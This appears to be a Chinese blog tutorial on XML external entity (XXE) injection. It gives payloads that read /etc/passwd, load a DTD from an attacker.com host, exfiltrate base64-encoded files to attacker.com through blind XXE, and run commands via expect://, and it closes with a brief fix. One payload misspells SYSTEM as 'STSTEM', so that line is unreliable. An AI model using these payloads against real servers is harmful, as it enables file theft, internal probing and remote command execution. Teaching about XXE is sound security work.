XML外部实体注入(XXE)

本文基于署名-非商业性使用 4.0 国际 (CC BY-NC 4.0)发布,转载请注明出处。

当解析XML文档并且XML parser未对外部实体做过滤的话就会产生XXE的漏洞。只要被服务端解析的XML是不可信的,那么都应该注意XXE带来的风险,常见的应用场景包括Office文档(OOXML)预览、富文本编辑器、XML文件导入等等

一个最简单的xml文档大概长这样..

<?xml version="1.0"?>
<foo>
  <bar>
   <name>Just a demo.</name>
  </bar>
</foo>

最简单的xxe

一个最简单的XXE的payload大概长这样:

<?xml version="1.0"?>
<!DOCTYPE aaaaaaa[<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>
  <bar>
   <name>Just a demo.&xxe;</name>
  </bar>
</foo>		
<!DOCTYPE aaaa[<!ENTITY xxe SYSTEM "file:///etc/passwd">]>

上面这一行是声明了一个名字叫"xxe"的外部实体,外部实体的内容是/etc/passwd文件的内容,这种声明方式叫内部声明DTD的形式,对实体元素的声明在[]之间。然后

<name>Just a demo.&xxe;</name>

这一行引用名字叫xxe的实体,把实体的值加到demo.后面解析出来。

引用外部DTD声明

还有一种声明方式是引用外部的DTD,比如可以把上面的

<!ENTITY xxe SYSTEM "file:///etc/passwd">

单独拿出来放在攻击者的服务器上,比如像下面这样从外部DTD引入实体

<!DOCTYPE dtd SYSTEM "http://attacker.com/evil.dtd">

最终的效果和一开始的那种是一样的

外部DTD除了用SYSTEM关键字引入之外还可以使用PUBLIC关键字引入。

Blind XXE

如果服务器不给出XML解析结果的回显呢?

那就把外部实体的值发到攻击者的服务器上,像 XSS 那样。

这里需要用到一个叫做参数实体的东西,参数实体和其他实体有一点不同,它只能在<!DOCTYPE ANYTHING[这里]>被引用

payload的格式大概像这样:

<!DOCTYPE ANYTHING[
 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
 <!ENTITY % foo "<!ENTITY &#x25; send STSTEM 'http://attacker.com/?file=%file;'>">
 %foo;
 %send;
]>

这里有几点要注意,双引号里的那个%必须要编码成&#x25;..

命令执行

这个对服务端环境有要求,如果运气很好遇到了这种的话..在定义外部实体的时候

<!ENTITY xxe SYSTEM "expect://who">

这样定义就好

总结

大概可以用来:

  1. 任意文件读取

  2. 命令执行(看脸)

  3. SSRF(探测/攻击内网)

  4. 发挥你的想象力_(:3」∠)_

修复方案

禁用外部实体或过滤关键字

参考资料

TSRC